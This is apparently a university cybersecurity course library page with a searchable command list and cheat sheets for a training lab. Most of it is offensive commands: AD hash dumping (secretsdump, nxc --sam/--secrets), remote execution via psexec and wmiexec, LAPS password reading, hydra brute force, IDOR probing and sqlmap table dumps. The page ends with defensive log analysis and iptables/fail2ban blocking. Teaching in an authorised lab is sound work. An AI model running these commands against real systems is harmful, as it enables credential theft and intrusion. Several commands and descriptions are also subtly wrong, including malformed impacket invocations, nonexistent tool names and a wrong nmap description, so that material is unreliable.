Кітапхана

Нақты оқу материалдары: OWASP, PortSwigger, NIST, Kali құжаттамасы + cheat sheet-тер

OWASP — веб қауіпсіздік стандарты

Тегін интерактивті жаттығулар (университет ережесіне сәйкес — тек легалды платформалар)

Құжаттамалар және стандарттар

Код кітапханасы — 2000 команда (3 OS)

Kali / Parrot / Ubuntu — OS-ті таңда, ізде, көшір. Әр команда нақты, зертханада қолданылады.

667 табылды · Оффензивная разработка: разведка, сканирование, web, эксплуатация, WiFi, форензика.
nmap -sn 192.168.1.0/24
Ping sweep: активные хосты без скана портов.
nmap -sP 10.0.0.0/24
Host discovery (устаревший флаг, то же что -sn).
fping -a -g 192.168.1.0/24
Быстрый список живых хостов.
fping -s -g 10.10.0.0/24
Ping-статистика по сети (RTT, loss).
arping -I eth0 192.168.1.10
ARP-проверка хоста в сегменте L2.
dig example.com A
A-запись (IPv4).
dig example.com AAAA
AAAA-запись (IPv6).
dig example.com MX
MX: почтовые серверы.
dig example.com TXT
TXT (SPF, DKIM, верификации).
dig example.com NS
NS-серверы домена.
dig -t SOA example.com
SOA: primary, refresh, retry, expire.
dig +trace example.com
Полный путь: root → TLD → домен.
dig +short example.com
Только значения ответов.
dig @8.8.8.8 example.com
Запрос к конкретному резолверу.
host -t CNAME example.com
CNAME-алиасы.
host -t A -l example.com
AXFR зоны (если разрешён — утечка зоны).
nslookup -type=MX example.com 1.1.1.1
MX через указанный DNS.
whois example.com
Регистратор, даты, abuse-контакты.
whois -h whois.ripe.net 192.168.1.1
IP-блок у конкретного RIR.
nbtstat -A 192.168.1.10
NetBIOS-имена Windows-хоста.
enum4linux -a 192.168.1.10
SMB/NBT: users, groups, shares, policy.
enum4linux -u admin -p pass 192.168.1.10
Авторизованная enum4linux.
smbclient -L //192.168.1.10 -N
Список SMB-шар (анонимно).
smbclient -L //192.168.1.10 -U user%pass
Список SMB-шар (авторизованно).
smbclient //192.168.1.10/share -U user%pass
Вход в шар: ls, get, put.
smbmap -u user -p pass 192.168.1.10
smbmap: шары и права доступа.
smbmap -u user -p pass --shares 192.168.1.10
smbmap: детали шар.
rpcclient -U user%pass 192.168.1.10
RPC: enumdomusers, lsa, srvinfo.
crackmapexec smb 192.168.1.0/24 -u admin -p pass --shares
CME: SMB-шары по подсети.
crackmapexec smb 192.168.1.0/24 -u admin -p pass --pass-pol
CME: политика паролей.
crackmapexec ldap dc01 -u admin -p pass --users
CME: LDAP-пользователи.
nxc smb 192.168.1.10 -u admin -p pass --sam
NXC: дамп SAM (NTLM).
nxc smb 192.168.1.10 -u admin -p pass --secrets
NXC: secrets.dsr (NTDS).
nxc smb 192.168.1.10 -u admin -p pass --local-groups
NXC: локальные группы.
nxc ldap dc01 -u admin -p pass --users
NXC: LDAP users.
ldapsearch -x -H ldap://dc01 -D 'CN=probe,DC=x' -W
LDAP simple bind.
ldapsearch -x -H ldap://dc01 -b 'DC=x' '(objectClass=user)' sAMAccountName mail
Все AD-пользователи с почтой.
ldapsearch -x -H ldap://dc01 -b 'DC=x' '(objectClass=group)' cn
LDAP-группы.
ldapsearch -x -H ldap://dc01 -b 'DC=x' '(objectClass=computer)' dNSHostName
Компьютеры домена.
ldapdomaindump -u user -p pass -o out.json dc01
LDAP-дамп домена в JSON.
impacket-secretsdump dc01 user%pass
Impacket: NTDS.dit remote (DS-Replication).
impacket-secretsdump dc01 user%pass -just-dc
Только DC (NTDS).
impacket-getTGT dc01/user@DOMAIN -dc-ip 10.0.0.1
TGT по логину/паролю.
impacket-psexec dc01 user%pass cmd.exe
PsExec удалённый процесс.
impacket-wmiexec dc01 user%pass whoami
WMI-исполнение (без бинарника).
impacket-smbexec dc01 user%pass whoami
SMB-исполнение (интерактив).
impacket-at dc01 user%pass whoami
Исполнение через task scheduler.
impacket-ldapsearch dc01 user%pass -F
Impacket: LDAP-энаумерация.
impacket-rpcdump dc01 user%pass
Impacket: RPC-дамп пользователей.
impacket-smbclient //192.168.1.10/share -U user%pass
Impacket: SMB-клиент (get/put).
impacket-laps dc01 user%pass
Impacket: чтение LAPS-паролей.
adfind -f '(serviceprincipalname=*)' -all
adfind: все SPN (Kerberoasting).
adfind -f '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)'
Объекты с уязвимостью RBCD.
whatweb example.com
Веб-стек: server, CMS, framework.
whatweb -a 3 example.com
Глубина 3 (более агрессивный анализ).
wpscan --url http://target --enumerate ap,u,m
WordPress: плагины, пользователи, посты.
joomscan -u http://target
Joomla: версия, компоненты.
nikto -h http://target
Веб-сканер: уязвимости, устаревшее ПО.
dnsrecon -d example.com
DNS: субдомены, NS, MX, SOA.
dnsrecon -d example.com -t brt
DNS brute (wordlist).

Cheat sheet-тер (Kali командалары)

nmap — желі сканерлеу
ip a                      # өз Kali IP-ңді көр
nmap -sn 172.16.X.0/24    # ping sweep: тірі хосттар
nmap -sV -sC <target>     # барлық порттар + сервистер + скрип्टтер
nmap -sS -p- <target>     # SYN scan, барлық 65535 порт
nmap -A <target>          # OS анықтау + скрип्टтер + traceroute
# Нәтижені сақта:  nmap -sV -oN scan.txt <target>
hydra — brute force (тек өз зертханаңда!)
# SSH-ге (мысал: target-те ssh:22 бар):
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> ssh
# Web-формаға:
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
# Нәтиже: «PASSWORD : admin, Target2026!» тәрізді жол
curl — web зерттеу
curl -s http://<target>:8080/api/orders/101        # өз order
curl -s http://<target>:8080/api/orders/1          # бәсекесіз IDOR тексеруі
curl -s http://<target>:8080/ -v                   # headers
curl -s -X POST http://<target>:8080/api/login -H "Content-Type: application/json" -d '{"user":"alice","pass":"a1ce"}'
# token-бен:
TOKEN=$(curl -s .../api/login -d ... | jq -r .token)
curl -s http://<target>:8080/api/orders -H "Authorization: Bearer $TOKEN"
sqlmap — SQL инъекциясы
# Осал параметрді тапқан соң:
sqlmap -u "http://<target>:8080/api/items?id=1" --dbs
sqlmap -u "http://<target>:8080/api/items?id=1" -D shop -tables
sqlmap -u "http://<target>:8080/api/items?id=1" -D shop -T users --dump
# Өз зертханаңнан тыс URL-ге sqlmap жүргізугЕ БОЛМАЙДЫ.
Blue: логтарды талдау (grep/awk)
tail -f /var/log/shop/access.log
# Барлық IP-лерді санау (кім көп сұраныс жолды?):
awk '{print $4}' /var/log/shop/access.log | sort | uniq -c | sort -rn | head
# Belгілі IP-нің істегені:
grep "ip=172.16.X.101" /var/log/shop/access.log
# 401/403 қателері (brute force/IDOR ізді):
awk '$6 ~ /401|403/' /var/log/shop/access.log | tail -20
Blue: қорғаныс (fix + iptables + fail2ban)
# 1) IDOR түзетуі (fixer ретінде):
echo "access_check=on" | sudo tee /etc/shop/access_check.conf
# 2) Шыбуылшы IP-ні блоктау:
sudo iptables -A INPUT -s 172.16.X.101 -j DROP
sudo iptables -L INPUT -n --line-numbers
# 3) fail2ban: ssh-ге brute force болса автоматты ban
sudo fail2ban-client status sshd
# Тексеру: блокталған IP-ден curl → timeout болуы керек